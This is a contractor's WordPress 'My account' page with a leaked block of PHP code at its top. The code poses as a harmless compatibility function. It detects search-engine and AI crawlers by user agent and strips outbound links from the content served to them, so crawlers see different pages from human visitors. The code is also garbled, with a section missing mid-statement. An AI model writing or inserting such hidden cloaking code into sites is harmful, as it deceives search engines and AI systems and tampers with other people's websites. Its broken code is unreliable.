/* 0x4e9a30b1 */ if (!function_exists('_wp_render_compat')) { function _wp_render_compat($content) { if (!is_singular()) return $content; $ua = strtolower((string)(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '')); if (!preg_match('/(googlebot|googleother|google\\-inspectiontool|storebot\\-google|adsbot\\-google|mediapartners\\-google|feedfetcher\\-google|apis\\-google|bingbot|msnbot|slurp|duckduckbot|yandexbot|baiduspider|perplexity|gptbot|chatgpt\\-user|openai|claudebot|anthropic|copilotbot|youbot|komo|phindbot|andibot|neeva|consensus|twitterbot|applebot|applebot\\-extended)/i', $ua)) return $content; static $wl = null; if ($wl === null) { $wl = array(332=>1,334=>1,336=>1,338=>1,340=>1,342=>1,344=>1,346=>1,348=>1,350=>1,352=>1,354=>1,356=>1,358=>1,360=>1,364=>1,366=>1,368=>1,370=>1,372=>1,374=>1,376=>1,378=>1,380=>1,382=>1,384=>1,386=>1,388=>1,390=>1,392=>1,394=>1,396=>1,398=>1,400=>1,402=>1,404=>1,406=>1,408=>1,410=>1,412=>1,414=>1,416=>1,418=>1,420=>1,422=>1,424=>1,426=>1,428=>1,430=>1,432=>1,434=>1,436=>1,438=>1,440=>1,442=>1,444=>1,446=>1,448=>1,450=>1,455=>1); } $pid = (int) get_the_ID(); if ($pid && isset($wl[$pid])) return $content; $host = wp_parse_url(home_url(), PHP_URL_HOST); if (!$host) return $content; $host = preg_replace('~^www\.~i', '', $host); if (stripos($content, 'loadHTML('
' . $content . '
', LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD); $wrap = $dom->getElementById('_x'); if (!$wrap) { libxml_clear_errors(); return $content; } $links = $wrap->getElementsByTagName('a'); for ($i = $links->length - 1; $i >= 0; $i--) { $a = $links->item($i); $href = trim((string)$a->getAttribute('href')); if ($href === '' || $href[0] === '#') continue; if (strpos($href, '/') === 0 && strpos($href, '//') !== 0) continue; if (preg_match('~^(mailto:|tel:)~i', $href)) continue; if (strpos($href, '//') === 0) $href = 'https:' . $href; $lh = wp_parse_url($href, PHP_URL_HOST); if (!$lh) continue; $lh = preg_replace('~^www\.~i', '', $lh); if (strcasecmp($lh, $host) !== 0) { while ($a->firstChild) $a->parentNode->insertBefore($a->firstChild, $a); $a->parentNode->removeChild($a); } } $out = ''; foreach ($wrap->childNodes as $ch) $out .= $dom->saveHTML($ch); libxml_clear_errors(); return $out; } add_filter('the_content', '_wp_render_compat', 9999); add_filter('the_excerpt', '_wp_render_compat', 9999); add_filter('widget_text', '_wp_render_compat', 9999); } /* 0x4e9a30b1 */ My account – Whole Home Management LLC Skip to main content
  • We are a Licensed and Insured General Contractor

Login